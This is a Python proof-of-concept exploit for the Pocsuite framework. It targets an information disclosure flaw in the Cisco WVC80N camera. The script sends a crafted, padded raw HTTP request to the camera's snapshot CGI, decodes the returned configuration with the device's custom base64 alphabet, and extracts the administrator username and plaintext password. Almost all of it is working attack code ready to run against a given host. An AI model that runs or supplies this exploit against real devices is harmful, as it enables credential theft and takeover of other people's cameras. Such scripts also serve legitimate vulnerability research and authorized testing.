Cisco WVC80N camera information disclosure vulnerability

                                                #!/usr/bin/env python
# coding: utf-8
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase
import re
import socket
import string
import base64
import urlparse

def b64_wvc80n(b64_content):
    std_b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    wvc_b64 = "ACEGIKMOQSUWYBDFHJLNPRTVXZacegikmoqsuwybdfhjlnprtvxz0246813579=+/"
    b64_content = b64_content.translate(string.maketrans(wvc_b64, std_b64))
    plaintext = base64.b64decode(b64_content)
    return plaintext

class TestPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['Hcamael']
    vulDate = ''
    createDate = '2016-09-22'
    updateDate = '2016-09-22'
    references = ['']
    name = 'Cisco WVC80N摄像头信息泄露漏洞'
    appPowerLink = ''
    appName = 'Cisco WVC80N'
    appVersion = 'WVC80N'
    vulType = 'Information Disclosure'
    desc = '''
        Cisco WVC80N摄像头存在信息泄露漏洞, 通过构造特殊的请求, 可获取摄像头的配置文件, 可获取到管理员的账号和密码明文
    '''
    samples = ['']
    install_requires = ['re', 'socket', 'string', 'base64', 'urlparse']
    #请尽量不要使用第三方库，必要时参考 https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md#poc-第三方模块依赖说明 填写该字段

    def _attack(self):
        return self._verify()

    def _verify(self):
        result = {}
        payload = "\x47\x45\x54\x20\x2f\x69\x6d\x67\x2f\x73\x6e\x61\x70\x73\x68\x6f\x74\x2e\x63\x67\x69\x3f"
        payload += "A" * 148
        payload += "\x88\x9B"
        payload += "\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x0d\x0a"
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        url = urlparse.urlsplit(self.url)
        ip = url.netloc
        if ":" in ip:
            ip, port = ip.split(":")
        else:
            ip, port = ip, 80

        sock.connect((ip, port))
        sock.send(payload)
        content = ''
        while 1:
            try:
                msg = sock.recv(4096)
                content += msg
            except socket.error:
                pass
            if not len(msg):
                break

        if "application/configuration" in content:
            b64_config = content.splitlines()[-1]
            configuration = b64_wvc80n(b64_config)
            info = re.findall("admin_name=(.*?)\nadmin_password=(.*?)\n", configuration)
            if len(info) > 0:
               result['VerifyInfo'] = {}
               result['VerifyInfo']['URL'] = self.url
               result['VerifyInfo']['path'] = payload
               result['AdminInfo'] = {}
               result['AdminInfo']['username'], result['AdminInfo']['password'] = info[0]
        return self.parse_output(result)

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)